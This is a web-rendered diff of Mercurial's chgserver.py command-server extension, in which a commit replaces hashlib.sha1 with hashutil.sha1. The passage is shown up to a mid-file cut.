##// END OF EJS Templates
core: migrate uses of hashlib.sha1 to hashutil.sha1...
Augie Fackler -
r44517:a61287a9 default
parent child Browse files
Show More
@@ -1,738 +1,738
1 # chgserver.py - command server extension for cHg
1 # chgserver.py - command server extension for cHg
2 #
2 #
3 # Copyright 2011 Yuya Nishihara <yuya@tcha.org>
3 # Copyright 2011 Yuya Nishihara <yuya@tcha.org>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 """command server extension for cHg
8 """command server extension for cHg
9
9
10 'S' channel (read/write)
10 'S' channel (read/write)
11 propagate ui.system() request to client
11 propagate ui.system() request to client
12
12
13 'attachio' command
13 'attachio' command
14 attach client's stdio passed by sendmsg()
14 attach client's stdio passed by sendmsg()
15
15
16 'chdir' command
16 'chdir' command
17 change current directory
17 change current directory
18
18
19 'setenv' command
19 'setenv' command
20 replace os.environ completely
20 replace os.environ completely
21
21
22 'setumask' command (DEPRECATED)
22 'setumask' command (DEPRECATED)
23 'setumask2' command
23 'setumask2' command
24 set umask
24 set umask
25
25
26 'validate' command
26 'validate' command
27 reload the config and check if the server is up to date
27 reload the config and check if the server is up to date
28
28
29 Config
29 Config
30 ------
30 ------
31
31
32 ::
32 ::
33
33
34 [chgserver]
34 [chgserver]
35 # how long (in seconds) should an idle chg server exit
35 # how long (in seconds) should an idle chg server exit
36 idletimeout = 3600
36 idletimeout = 3600
37
37
38 # whether to skip config or env change checks
38 # whether to skip config or env change checks
39 skiphash = False
39 skiphash = False
40 """
40 """
41
41
42 from __future__ import absolute_import
42 from __future__ import absolute_import
43
43
44 import hashlib
45 import inspect
44 import inspect
46 import os
45 import os
47 import re
46 import re
48 import socket
47 import socket
49 import stat
48 import stat
50 import struct
49 import struct
51 import time
50 import time
52
51
53 from .i18n import _
52 from .i18n import _
54 from .pycompat import (
53 from .pycompat import (
55 getattr,
54 getattr,
56 setattr,
55 setattr,
57 )
56 )
58
57
59 from . import (
58 from . import (
60 commandserver,
59 commandserver,
61 encoding,
60 encoding,
62 error,
61 error,
63 extensions,
62 extensions,
64 node,
63 node,
65 pycompat,
64 pycompat,
66 util,
65 util,
67 )
66 )
68
67
69 from .utils import (
68 from .utils import (
69 hashutil,
70 procutil,
70 procutil,
71 stringutil,
71 stringutil,
72 )
72 )
73
73
74
74
75 def _hashlist(items):
75 def _hashlist(items):
76 """return sha1 hexdigest for a list"""
76 """return sha1 hexdigest for a list"""
77 return node.hex(hashlib.sha1(stringutil.pprint(items)).digest())
77 return node.hex(hashutil.sha1(stringutil.pprint(items)).digest())
78
78
79
79
80 # sensitive config sections affecting confighash
80 # sensitive config sections affecting confighash
81 _configsections = [
81 _configsections = [
82 b'alias', # affects global state commands.table
82 b'alias', # affects global state commands.table
83 b'eol', # uses setconfig('eol', ...)
83 b'eol', # uses setconfig('eol', ...)
84 b'extdiff', # uisetup will register new commands
84 b'extdiff', # uisetup will register new commands
85 b'extensions',
85 b'extensions',
86 ]
86 ]
87
87
88 _configsectionitems = [
88 _configsectionitems = [
89 (b'commands', b'show.aliasprefix'), # show.py reads it in extsetup
89 (b'commands', b'show.aliasprefix'), # show.py reads it in extsetup
90 ]
90 ]
91
91
92 # sensitive environment variables affecting confighash
92 # sensitive environment variables affecting confighash
93 _envre = re.compile(
93 _envre = re.compile(
94 br'''\A(?:
94 br'''\A(?:
95 CHGHG
95 CHGHG
96 |HG(?:DEMANDIMPORT|EMITWARNINGS|MODULEPOLICY|PROF|RCPATH)?
96 |HG(?:DEMANDIMPORT|EMITWARNINGS|MODULEPOLICY|PROF|RCPATH)?
97 |HG(?:ENCODING|PLAIN).*
97 |HG(?:ENCODING|PLAIN).*
98 |LANG(?:UAGE)?
98 |LANG(?:UAGE)?
99 |LC_.*
99 |LC_.*
100 |LD_.*
100 |LD_.*
101 |PATH
101 |PATH
102 |PYTHON.*
102 |PYTHON.*
103 |TERM(?:INFO)?
103 |TERM(?:INFO)?
104 |TZ
104 |TZ
105 )\Z''',
105 )\Z''',
106 re.X,
106 re.X,
107 )
107 )
108
108
109
109
110 def _confighash(ui):
110 def _confighash(ui):
111 """return a quick hash for detecting config/env changes
111 """return a quick hash for detecting config/env changes
112
112
113 confighash is the hash of sensitive config items and environment variables.
113 confighash is the hash of sensitive config items and environment variables.
114
114
115 for chgserver, it is designed that once confighash changes, the server is
115 for chgserver, it is designed that once confighash changes, the server is
116 not qualified to serve its client and should redirect the client to a new
116 not qualified to serve its client and should redirect the client to a new
117 server. different from mtimehash, confighash change will not mark the
117 server. different from mtimehash, confighash change will not mark the
118 server outdated and exit since the user can have different configs at the
118 server outdated and exit since the user can have different configs at the
119 same time.
119 same time.
120 """
120 """
121 sectionitems = []
121 sectionitems = []
122 for section in _configsections:
122 for section in _configsections:
123 sectionitems.append(ui.configitems(section))
123 sectionitems.append(ui.configitems(section))
124 for section, item in _configsectionitems:
124 for section, item in _configsectionitems:
125 sectionitems.append(ui.config(section, item))
125 sectionitems.append(ui.config(section, item))
126 sectionhash = _hashlist(sectionitems)
126 sectionhash = _hashlist(sectionitems)
127 # If $CHGHG is set, the change to $HG should not trigger a new chg server
127 # If $CHGHG is set, the change to $HG should not trigger a new chg server
128 if b'CHGHG' in encoding.environ:
128 if b'CHGHG' in encoding.environ:
129 ignored = {b'HG'}
129 ignored = {b'HG'}
130 else:
130 else:
131 ignored = set()
131 ignored = set()
132 envitems = [
132 envitems = [
133 (k, v)
133 (k, v)
134 for k, v in pycompat.iteritems(encoding.environ)
134 for k, v in pycompat.iteritems(encoding.environ)
135 if _envre.match(k) and k not in ignored
135 if _envre.match(k) and k not in ignored
136 ]
136 ]
137 envhash = _hashlist(sorted(envitems))
137 envhash = _hashlist(sorted(envitems))
138 return sectionhash[:6] + envhash[:6]
138 return sectionhash[:6] + envhash[:6]
139
139
140
140
141 def _getmtimepaths(ui):
141 def _getmtimepaths(ui):
142 """get a list of paths that should be checked to detect change
142 """get a list of paths that should be checked to detect change
143
143
144 The list will include:
144 The list will include:
145 - extensions (will not cover all files for complex extensions)
145 - extensions (will not cover all files for complex extensions)
146 - mercurial/__version__.py
146 - mercurial/__version__.py
147 - python binary
147 - python binary
148 """
148 """
149 modules = [m for n, m in extensions.extensions(ui)]
149 modules = [m for n, m in extensions.extensions(ui)]
150 try:
150 try:
151 from . import __version__
151 from . import __version__
152
152
153 modules.append(__version__)
153 modules.append(__version__)
154 except ImportError:
154 except ImportError:
155 pass
155 pass
156 files = []
156 files = []
157 if pycompat.sysexecutable:
157 if pycompat.sysexecutable:
158 files.append(pycompat.sysexecutable)
158 files.append(pycompat.sysexecutable)
159 for m in modules:
159 for m in modules:
160 try:
160 try:
161 files.append(pycompat.fsencode(inspect.getabsfile(m)))
161 files.append(pycompat.fsencode(inspect.getabsfile(m)))
162 except TypeError:
162 except TypeError:
163 pass
163 pass
164 return sorted(set(files))
164 return sorted(set(files))
165
165
166
166
167 def _mtimehash(paths):
167 def _mtimehash(paths):
168 """return a quick hash for detecting file changes
168 """return a quick hash for detecting file changes
169
169
170 mtimehash calls stat on given paths and calculate a hash based on size and
170 mtimehash calls stat on given paths and calculate a hash based on size and
171 mtime of each file. mtimehash does not read file content because reading is
171 mtime of each file. mtimehash does not read file content because reading is
172 expensive. therefore it's not 100% reliable for detecting content changes.
172 expensive. therefore it's not 100% reliable for detecting content changes.
173 it's possible to return different hashes for same file contents.
173 it's possible to return different hashes for same file contents.
174 it's also possible to return a same hash for different file contents for
174 it's also possible to return a same hash for different file contents for
175 some carefully crafted situation.
175 some carefully crafted situation.
176
176
177 for chgserver, it is designed that once mtimehash changes, the server is
177 for chgserver, it is designed that once mtimehash changes, the server is
178 considered outdated immediately and should no longer provide service.
178 considered outdated immediately and should no longer provide service.
179
179
180 mtimehash is not included in confighash because we only know the paths of
180 mtimehash is not included in confighash because we only know the paths of
181 extensions after importing them (there is imp.find_module but that faces
181 extensions after importing them (there is imp.find_module but that faces
182 race conditions). We need to calculate confighash without importing.
182 race conditions). We need to calculate confighash without importing.
183 """
183 """
184
184
185 def trystat(path):
185 def trystat(path):
186 try:
186 try:
187 st = os.stat(path)
187 st = os.stat(path)
188 return (st[stat.ST_MTIME], st.st_size)
188 return (st[stat.ST_MTIME], st.st_size)
189 except OSError:
189 except OSError:
190 # could be ENOENT, EPERM etc. not fatal in any case
190 # could be ENOENT, EPERM etc. not fatal in any case
191 pass
191 pass
192
192
193 return _hashlist(pycompat.maplist(trystat, paths))[:12]
193 return _hashlist(pycompat.maplist(trystat, paths))[:12]
194
194
195
195
196 class hashstate(object):
196 class hashstate(object):
197 """a structure storing confighash, mtimehash, paths used for mtimehash"""
197 """a structure storing confighash, mtimehash, paths used for mtimehash"""
198
198
199 def __init__(self, confighash, mtimehash, mtimepaths):
199 def __init__(self, confighash, mtimehash, mtimepaths):
200 self.confighash = confighash
200 self.confighash = confighash
201 self.mtimehash = mtimehash
201 self.mtimehash = mtimehash
202 self.mtimepaths = mtimepaths
202 self.mtimepaths = mtimepaths
203
203
204 @staticmethod
204 @staticmethod
205 def fromui(ui, mtimepaths=None):
205 def fromui(ui, mtimepaths=None):
206 if mtimepaths is None:
206 if mtimepaths is None:
207 mtimepaths = _getmtimepaths(ui)
207 mtimepaths = _getmtimepaths(ui)
208 confighash = _confighash(ui)
208 confighash = _confighash(ui)
209 mtimehash = _mtimehash(mtimepaths)
209 mtimehash = _mtimehash(mtimepaths)
210 ui.log(
210 ui.log(
211 b'cmdserver',
211 b'cmdserver',
212 b'confighash = %s mtimehash = %s\n',
212 b'confighash = %s mtimehash = %s\n',
213 confighash,
213 confighash,
214 mtimehash,
214 mtimehash,
215 )
215 )
216 return hashstate(confighash, mtimehash, mtimepaths)
216 return hashstate(confighash, mtimehash, mtimepaths)
217
217
218
218
219 def _newchgui(srcui, csystem, attachio):
219 def _newchgui(srcui, csystem, attachio):
220 class chgui(srcui.__class__):
220 class chgui(srcui.__class__):
221 def __init__(self, src=None):
221 def __init__(self, src=None):
222 super(chgui, self).__init__(src)
222 super(chgui, self).__init__(src)
223 if src:
223 if src:
224 self._csystem = getattr(src, '_csystem', csystem)
224 self._csystem = getattr(src, '_csystem', csystem)
225 else:
225 else:
226 self._csystem = csystem
226 self._csystem = csystem
227
227
228 def _runsystem(self, cmd, environ, cwd, out):
228 def _runsystem(self, cmd, environ, cwd, out):
229 # fallback to the original system method if
229 # fallback to the original system method if
230 # a. the output stream is not stdout (e.g. stderr, cStringIO),
230 # a. the output stream is not stdout (e.g. stderr, cStringIO),
231 # b. or stdout is redirected by protectfinout(),
231 # b. or stdout is redirected by protectfinout(),
232 # because the chg client is not aware of these situations and
232 # because the chg client is not aware of these situations and
233 # will behave differently (i.e. write to stdout).
233 # will behave differently (i.e. write to stdout).
234 if (
234 if (
235 out is not self.fout
235 out is not self.fout
236 or not util.safehasattr(self.fout, b'fileno')
236 or not util.safehasattr(self.fout, b'fileno')
237 or self.fout.fileno() != procutil.stdout.fileno()
237 or self.fout.fileno() != procutil.stdout.fileno()
238 or self._finoutredirected
238 or self._finoutredirected
239 ):
239 ):
240 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
240 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
241 self.flush()
241 self.flush()
242 return self._csystem(cmd, procutil.shellenviron(environ), cwd)
242 return self._csystem(cmd, procutil.shellenviron(environ), cwd)
243
243
244 def _runpager(self, cmd, env=None):
244 def _runpager(self, cmd, env=None):
245 self._csystem(
245 self._csystem(
246 cmd,
246 cmd,
247 procutil.shellenviron(env),
247 procutil.shellenviron(env),
248 type=b'pager',
248 type=b'pager',
249 cmdtable={b'attachio': attachio},
249 cmdtable={b'attachio': attachio},
250 )
250 )
251 return True
251 return True
252
252
253 return chgui(srcui)
253 return chgui(srcui)
254
254
255
255
256 def _loadnewui(srcui, args, cdebug):
256 def _loadnewui(srcui, args, cdebug):
257 from . import dispatch # avoid cycle
257 from . import dispatch # avoid cycle
258
258
259 newui = srcui.__class__.load()
259 newui = srcui.__class__.load()
260 for a in [b'fin', b'fout', b'ferr', b'environ']:
260 for a in [b'fin', b'fout', b'ferr', b'environ']:
261 setattr(newui, a, getattr(srcui, a))
261 setattr(newui, a, getattr(srcui, a))
262 if util.safehasattr(srcui, b'_csystem'):
262 if util.safehasattr(srcui, b'_csystem'):
263 newui._csystem = srcui._csystem
263 newui._csystem = srcui._csystem
264
264
265 # command line args
265 # command line args
266 options = dispatch._earlyparseopts(newui, args)
266 options = dispatch._earlyparseopts(newui, args)
267 dispatch._parseconfig(newui, options[b'config'])
267 dispatch._parseconfig(newui, options[b'config'])
268
268
269 # stolen from tortoisehg.util.copydynamicconfig()
269 # stolen from tortoisehg.util.copydynamicconfig()
270 for section, name, value in srcui.walkconfig():
270 for section, name, value in srcui.walkconfig():
271 source = srcui.configsource(section, name)
271 source = srcui.configsource(section, name)
272 if b':' in source or source == b'--config' or source.startswith(b'$'):
272 if b':' in source or source == b'--config' or source.startswith(b'$'):
273 # path:line or command line, or environ
273 # path:line or command line, or environ
274 continue
274 continue
275 newui.setconfig(section, name, value, source)
275 newui.setconfig(section, name, value, source)
276
276
277 # load wd and repo config, copied from dispatch.py
277 # load wd and repo config, copied from dispatch.py
278 cwd = options[b'cwd']
278 cwd = options[b'cwd']
279 cwd = cwd and os.path.realpath(cwd) or None
279 cwd = cwd and os.path.realpath(cwd) or None
280 rpath = options[b'repository']
280 rpath = options[b'repository']
281 path, newlui = dispatch._getlocal(newui, rpath, wd=cwd)
281 path, newlui = dispatch._getlocal(newui, rpath, wd=cwd)
282
282
283 extensions.populateui(newui)
283 extensions.populateui(newui)
284 commandserver.setuplogging(newui, fp=cdebug)
284 commandserver.setuplogging(newui, fp=cdebug)
285 if newui is not newlui:
285 if newui is not newlui:
286 extensions.populateui(newlui)
286 extensions.populateui(newlui)
287 commandserver.setuplogging(newlui, fp=cdebug)
287 commandserver.setuplogging(newlui, fp=cdebug)
288
288
289 return (newui, newlui)
289 return (newui, newlui)
290
290
291
291
292 class channeledsystem(object):
292 class channeledsystem(object):
293 """Propagate ui.system() request in the following format:
293 """Propagate ui.system() request in the following format:
294
294
295 payload length (unsigned int),
295 payload length (unsigned int),
296 type, '\0',
296 type, '\0',
297 cmd, '\0',
297 cmd, '\0',
298 cwd, '\0',
298 cwd, '\0',
299 envkey, '=', val, '\0',
299 envkey, '=', val, '\0',
300 ...
300 ...
301 envkey, '=', val
301 envkey, '=', val
302
302
303 if type == 'system', waits for:
303 if type == 'system', waits for:
304
304
305 exitcode length (unsigned int),
305 exitcode length (unsigned int),
306 exitcode (int)
306 exitcode (int)
307
307
308 if type == 'pager', repetitively waits for a command name ending with '\n'
308 if type == 'pager', repetitively waits for a command name ending with '\n'
309 and executes it defined by cmdtable, or exits the loop if the command name
309 and executes it defined by cmdtable, or exits the loop if the command name
310 is empty.
310 is empty.
311 """
311 """
312
312
313 def __init__(self, in_, out, channel):
313 def __init__(self, in_, out, channel):
314 self.in_ = in_
314 self.in_ = in_
315 self.out = out
315 self.out = out
316 self.channel = channel
316 self.channel = channel
317
317
318 def __call__(self, cmd, environ, cwd=None, type=b'system', cmdtable=None):
318 def __call__(self, cmd, environ, cwd=None, type=b'system', cmdtable=None):
319 args = [type, procutil.quotecommand(cmd), os.path.abspath(cwd or b'.')]
319 args = [type, procutil.quotecommand(cmd), os.path.abspath(cwd or b'.')]
320 args.extend(b'%s=%s' % (k, v) for k, v in pycompat.iteritems(environ))
320 args.extend(b'%s=%s' % (k, v) for k, v in pycompat.iteritems(environ))
321 data = b'\0'.join(args)
321 data = b'\0'.join(args)
322 self.out.write(struct.pack(b'>cI', self.channel, len(data)))
322 self.out.write(struct.pack(b'>cI', self.channel, len(data)))
323 self.out.write(data)
323 self.out.write(data)
324 self.out.flush()
324 self.out.flush()
325
325
326 if type == b'system':
326 if type == b'system':
327 length = self.in_.read(4)
327 length = self.in_.read(4)
328 (length,) = struct.unpack(b'>I', length)
328 (length,) = struct.unpack(b'>I', length)
329 if length != 4:
329 if length != 4:
330 raise error.Abort(_(b'invalid response'))
330 raise error.Abort(_(b'invalid response'))
331 (rc,) = struct.unpack(b'>i', self.in_.read(4))
331 (rc,) = struct.unpack(b'>i', self.in_.read(4))
332 return rc
332 return rc
333 elif type == b'pager':
333 elif type == b'pager':
334 while True:
334 while True:
335 cmd = self.in_.readline()[:-1]
335 cmd = self.in_.readline()[:-1]
336 if not cmd:
336 if not cmd:
337 break
337 break
338 if cmdtable and cmd in cmdtable:
338 if cmdtable and cmd in cmdtable:
339 cmdtable[cmd]()
339 cmdtable[cmd]()
340 else:
340 else:
341 raise error.Abort(_(b'unexpected command: %s') % cmd)
341 raise error.Abort(_(b'unexpected command: %s') % cmd)
342 else:
342 else:
343 raise error.ProgrammingError(b'invalid S channel type: %s' % type)
343 raise error.ProgrammingError(b'invalid S channel type: %s' % type)
344
344
345
345
346 _iochannels = [
346 _iochannels = [
347 # server.ch, ui.fp, mode
347 # server.ch, ui.fp, mode
348 (b'cin', b'fin', 'rb'),
348 (b'cin', b'fin', 'rb'),
349 (b'cout', b'fout', 'wb'),
349 (b'cout', b'fout', 'wb'),
350 (b'cerr', b'ferr', 'wb'),
350 (b'cerr', b'ferr', 'wb'),
351 ]
351 ]
352
352
353
353
354 class chgcmdserver(commandserver.server):
354 class chgcmdserver(commandserver.server):
355 def __init__(
355 def __init__(
356 self, ui, repo, fin, fout, sock, prereposetups, hashstate, baseaddress
356 self, ui, repo, fin, fout, sock, prereposetups, hashstate, baseaddress
357 ):
357 ):
358 super(chgcmdserver, self).__init__(
358 super(chgcmdserver, self).__init__(
359 _newchgui(ui, channeledsystem(fin, fout, b'S'), self.attachio),
359 _newchgui(ui, channeledsystem(fin, fout, b'S'), self.attachio),
360 repo,
360 repo,
361 fin,
361 fin,
362 fout,
362 fout,
363 prereposetups,
363 prereposetups,
364 )
364 )
365 self.clientsock = sock
365 self.clientsock = sock
366 self._ioattached = False
366 self._ioattached = False
367 self._oldios = [] # original (self.ch, ui.fp, fd) before "attachio"
367 self._oldios = [] # original (self.ch, ui.fp, fd) before "attachio"
368 self.hashstate = hashstate
368 self.hashstate = hashstate
369 self.baseaddress = baseaddress
369 self.baseaddress = baseaddress
370 if hashstate is not None:
370 if hashstate is not None:
371 self.capabilities = self.capabilities.copy()
371 self.capabilities = self.capabilities.copy()
372 self.capabilities[b'validate'] = chgcmdserver.validate
372 self.capabilities[b'validate'] = chgcmdserver.validate
373
373
374 def cleanup(self):
374 def cleanup(self):
375 super(chgcmdserver, self).cleanup()
375 super(chgcmdserver, self).cleanup()
376 # dispatch._runcatch() does not flush outputs if exception is not
376 # dispatch._runcatch() does not flush outputs if exception is not
377 # handled by dispatch._dispatch()
377 # handled by dispatch._dispatch()
378 self.ui.flush()
378 self.ui.flush()
379 self._restoreio()
379 self._restoreio()
380 self._ioattached = False
380 self._ioattached = False
381
381
382 def attachio(self):
382 def attachio(self):
383 """Attach to client's stdio passed via unix domain socket; all
383 """Attach to client's stdio passed via unix domain socket; all
384 channels except cresult will no longer be used
384 channels except cresult will no longer be used
385 """
385 """
386 # tell client to sendmsg() with 1-byte payload, which makes it
386 # tell client to sendmsg() with 1-byte payload, which makes it
387 # distinctive from "attachio\n" command consumed by client.read()
387 # distinctive from "attachio\n" command consumed by client.read()
388 self.clientsock.sendall(struct.pack(b'>cI', b'I', 1))
388 self.clientsock.sendall(struct.pack(b'>cI', b'I', 1))
389 clientfds = util.recvfds(self.clientsock.fileno())
389 clientfds = util.recvfds(self.clientsock.fileno())
390 self.ui.log(b'chgserver', b'received fds: %r\n', clientfds)
390 self.ui.log(b'chgserver', b'received fds: %r\n', clientfds)
391
391
392 ui = self.ui
392 ui = self.ui
393 ui.flush()
393 ui.flush()
394 self._saveio()
394 self._saveio()
395 for fd, (cn, fn, mode) in zip(clientfds, _iochannels):
395 for fd, (cn, fn, mode) in zip(clientfds, _iochannels):
396 assert fd > 0
396 assert fd > 0
397 fp = getattr(ui, fn)
397 fp = getattr(ui, fn)
398 os.dup2(fd, fp.fileno())
398 os.dup2(fd, fp.fileno())
399 os.close(fd)
399 os.close(fd)
400 if self._ioattached:
400 if self._ioattached:
401 continue
401 continue
402 # reset buffering mode when client is first attached. as we want
402 # reset buffering mode when client is first attached. as we want
403 # to see output immediately on pager, the mode stays unchanged
403 # to see output immediately on pager, the mode stays unchanged
404 # when client re-attached. ferr is unchanged because it should
404 # when client re-attached. ferr is unchanged because it should
405 # be unbuffered no matter if it is a tty or not.
405 # be unbuffered no matter if it is a tty or not.
406 if fn == b'ferr':
406 if fn == b'ferr':
407 newfp = fp
407 newfp = fp
408 else:
408 else:
409 # make it line buffered explicitly because the default is
409 # make it line buffered explicitly because the default is
410 # decided on first write(), where fout could be a pager.
410 # decided on first write(), where fout could be a pager.
411 if fp.isatty():
411 if fp.isatty():
412 bufsize = 1 # line buffered
412 bufsize = 1 # line buffered
413 else:
413 else:
414 bufsize = -1 # system default
414 bufsize = -1 # system default
415 newfp = os.fdopen(fp.fileno(), mode, bufsize)
415 newfp = os.fdopen(fp.fileno(), mode, bufsize)
416 setattr(ui, fn, newfp)
416 setattr(ui, fn, newfp)
417 setattr(self, cn, newfp)
417 setattr(self, cn, newfp)
418
418
419 self._ioattached = True
419 self._ioattached = True
420 self.cresult.write(struct.pack(b'>i', len(clientfds)))
420 self.cresult.write(struct.pack(b'>i', len(clientfds)))
421
421
422 def _saveio(self):
422 def _saveio(self):
423 if self._oldios:
423 if self._oldios:
424 return
424 return
425 ui = self.ui
425 ui = self.ui
426 for cn, fn, _mode in _iochannels:
426 for cn, fn, _mode in _iochannels:
427 ch = getattr(self, cn)
427 ch = getattr(self, cn)
428 fp = getattr(ui, fn)
428 fp = getattr(ui, fn)
429 fd = os.dup(fp.fileno())
429 fd = os.dup(fp.fileno())
430 self._oldios.append((ch, fp, fd))
430 self._oldios.append((ch, fp, fd))
431
431
432 def _restoreio(self):
432 def _restoreio(self):
433 ui = self.ui
433 ui = self.ui
434 for (ch, fp, fd), (cn, fn, _mode) in zip(self._oldios, _iochannels):
434 for (ch, fp, fd), (cn, fn, _mode) in zip(self._oldios, _iochannels):
435 newfp = getattr(ui, fn)
435 newfp = getattr(ui, fn)
436 # close newfp while it's associated with client; otherwise it
436 # close newfp while it's associated with client; otherwise it
437 # would be closed when newfp is deleted
437 # would be closed when newfp is deleted
438 if newfp is not fp:
438 if newfp is not fp:
439 newfp.close()
439 newfp.close()
440 # restore original fd: fp is open again
440 # restore original fd: fp is open again
441 os.dup2(fd, fp.fileno())
441 os.dup2(fd, fp.fileno())
442 os.close(fd)
442 os.close(fd)
443 setattr(self, cn, ch)
443 setattr(self, cn, ch)
444 setattr(ui, fn, fp)
444 setattr(ui, fn, fp)
445 del self._oldios[:]
445 del self._oldios[:]
446
446
447 def validate(self):
447 def validate(self):
448 """Reload the config and check if the server is up to date
448 """Reload the config and check if the server is up to date
449
449
450 Read a list of '\0' separated arguments.
450 Read a list of '\0' separated arguments.
451 Write a non-empty list of '\0' separated instruction strings or '\0'
451 Write a non-empty list of '\0' separated instruction strings or '\0'
452 if the list is empty.
452 if the list is empty.
453 An instruction string could be either:
453 An instruction string could be either:
454 - "unlink $path", the client should unlink the path to stop the
454 - "unlink $path", the client should unlink the path to stop the
455 outdated server.
455 outdated server.
456 - "redirect $path", the client should attempt to connect to $path
456 - "redirect $path", the client should attempt to connect to $path
457 first. If it does not work, start a new server. It implies
457 first. If it does not work, start a new server. It implies
458 "reconnect".
458 "reconnect".
459 - "exit $n", the client should exit directly with code n.
459 - "exit $n", the client should exit directly with code n.
460 This may happen if we cannot parse the config.
460 This may happen if we cannot parse the config.
461 - "reconnect", the client should close the connection and
461 - "reconnect", the client should close the connection and
462 reconnect.
462 reconnect.
463 If neither "reconnect" nor "redirect" is included in the instruction
463 If neither "reconnect" nor "redirect" is included in the instruction
464 list, the client can continue with this server after completing all
464 list, the client can continue with this server after completing all
465 the instructions.
465 the instructions.
466 """
466 """
467 from . import dispatch # avoid cycle
467 from . import dispatch # avoid cycle
468
468
469 args = self._readlist()
469 args = self._readlist()
470 try:
470 try:
471 self.ui, lui = _loadnewui(self.ui, args, self.cdebug)
471 self.ui, lui = _loadnewui(self.ui, args, self.cdebug)
472 except error.ParseError as inst:
472 except error.ParseError as inst:
473 dispatch._formatparse(self.ui.warn, inst)
473 dispatch._formatparse(self.ui.warn, inst)
474 self.ui.flush()
474 self.ui.flush()
475 self.cresult.write(b'exit 255')
475 self.cresult.write(b'exit 255')
476 return
476 return
477 except error.Abort as inst:
477 except error.Abort as inst:
478 self.ui.error(_(b"abort: %s\n") % inst)
478 self.ui.error(_(b"abort: %s\n") % inst)
479 if inst.hint:
479 if inst.hint:
480 self.ui.error(_(b"(%s)\n") % inst.hint)
480 self.ui.error(_(b"(%s)\n") % inst.hint)
481 self.ui.flush()
481 self.ui.flush()
482 self.cresult.write(b'exit 255')
482 self.cresult.write(b'exit 255')
483 return
483 return
484 newhash = hashstate.fromui(lui, self.hashstate.mtimepaths)
484 newhash = hashstate.fromui(lui, self.hashstate.mtimepaths)
485 insts = []
485 insts = []
486 if newhash.mtimehash != self.hashstate.mtimehash:
486 if newhash.mtimehash != self.hashstate.mtimehash:
487 addr = _hashaddress(self.baseaddress, self.hashstate.confighash)
487 addr = _hashaddress(self.baseaddress, self.hashstate.confighash)
488 insts.append(b'unlink %s' % addr)
488 insts.append(b'unlink %s' % addr)
489 # mtimehash is empty if one or more extensions fail to load.
489 # mtimehash is empty if one or more extensions fail to load.
490 # to be compatible with hg, still serve the client this time.
490 # to be compatible with hg, still serve the client this time.
491 if self.hashstate.mtimehash:
491 if self.hashstate.mtimehash:
492 insts.append(b'reconnect')
492 insts.append(b'reconnect')
493 if newhash.confighash != self.hashstate.confighash:
493 if newhash.confighash != self.hashstate.confighash:
494 addr = _hashaddress(self.baseaddress, newhash.confighash)
494 addr = _hashaddress(self.baseaddress, newhash.confighash)
495 insts.append(b'redirect %s' % addr)
495 insts.append(b'redirect %s' % addr)
496 self.ui.log(b'chgserver', b'validate: %s\n', stringutil.pprint(insts))
496 self.ui.log(b'chgserver', b'validate: %s\n', stringutil.pprint(insts))
497 self.cresult.write(b'\0'.join(insts) or b'\0')
497 self.cresult.write(b'\0'.join(insts) or b'\0')
498
498
499 def chdir(self):
499 def chdir(self):
500 """Change current directory
500 """Change current directory
501
501
502 Note that the behavior of --cwd option is bit different from this.
502 Note that the behavior of --cwd option is bit different from this.
503 It does not affect --config parameter.
503 It does not affect --config parameter.
504 """
504 """
505 path = self._readstr()
505 path = self._readstr()
506 if not path:
506 if not path:
507 return
507 return
508 self.ui.log(b'chgserver', b"chdir to '%s'\n", path)
508 self.ui.log(b'chgserver', b"chdir to '%s'\n", path)
509 os.chdir(path)
509 os.chdir(path)
510
510
511 def setumask(self):
511 def setumask(self):
512 """Change umask (DEPRECATED)"""
512 """Change umask (DEPRECATED)"""
513 # BUG: this does not follow the message frame structure, but kept for
513 # BUG: this does not follow the message frame structure, but kept for
514 # backward compatibility with old chg clients for some time
514 # backward compatibility with old chg clients for some time
515 self._setumask(self._read(4))
515 self._setumask(self._read(4))
516
516
517 def setumask2(self):
517 def setumask2(self):
518 """Change umask"""
518 """Change umask"""
519 data = self._readstr()
519 data = self._readstr()
520 if len(data) != 4:
520 if len(data) != 4:
521 raise ValueError(b'invalid mask length in setumask2 request')
521 raise ValueError(b'invalid mask length in setumask2 request')
522 self._setumask(data)
522 self._setumask(data)
523
523
524 def _setumask(self, data):
524 def _setumask(self, data):
525 mask = struct.unpack(b'>I', data)[0]
525 mask = struct.unpack(b'>I', data)[0]
526 self.ui.log(b'chgserver', b'setumask %r\n', mask)
526 self.ui.log(b'chgserver', b'setumask %r\n', mask)
527 os.umask(mask)
527 os.umask(mask)
528
528
529 def runcommand(self):
529 def runcommand(self):
530 # pager may be attached within the runcommand session, which should
530 # pager may be attached within the runcommand session, which should
531 # be detached at the end of the session. otherwise the pager wouldn't
531 # be detached at the end of the session. otherwise the pager wouldn't
532 # receive EOF.
532 # receive EOF.
533 globaloldios = self._oldios
533 globaloldios = self._oldios
534 self._oldios = []
534 self._oldios = []
535 try:
535 try:
536 return super(chgcmdserver, self).runcommand()
536 return super(chgcmdserver, self).runcommand()
537 finally:
537 finally:
538 self._restoreio()
538 self._restoreio()
539 self._oldios = globaloldios
539 self._oldios = globaloldios
540
540
541 def setenv(self):
541 def setenv(self):
542 """Clear and update os.environ
542 """Clear and update os.environ
543
543
544 Note that not all variables can make an effect on the running process.
544 Note that not all variables can make an effect on the running process.
545 """
545 """
546 l = self._readlist()
546 l = self._readlist()
547 try:
547 try:
548 newenv = dict(s.split(b'=', 1) for s in l)
548 newenv = dict(s.split(b'=', 1) for s in l)
549 except ValueError:
549 except ValueError:
550 raise ValueError(b'unexpected value in setenv request')
550 raise ValueError(b'unexpected value in setenv request')
551 self.ui.log(b'chgserver', b'setenv: %r\n', sorted(newenv.keys()))
551 self.ui.log(b'chgserver', b'setenv: %r\n', sorted(newenv.keys()))
552
552
553 # Python3 has some logic to "coerce" the C locale to a UTF-8 capable
553 # Python3 has some logic to "coerce" the C locale to a UTF-8 capable
554 # one, and it sets LC_CTYPE in the environment to C.UTF-8 if none of
554 # one, and it sets LC_CTYPE in the environment to C.UTF-8 if none of
555 # 'LC_CTYPE', 'LC_ALL' or 'LANG' are set (to any value). This can be
555 # 'LC_CTYPE', 'LC_ALL' or 'LANG' are set (to any value). This can be
556 # disabled with PYTHONCOERCECLOCALE=0 in the environment.
556 # disabled with PYTHONCOERCECLOCALE=0 in the environment.
557 #
557 #
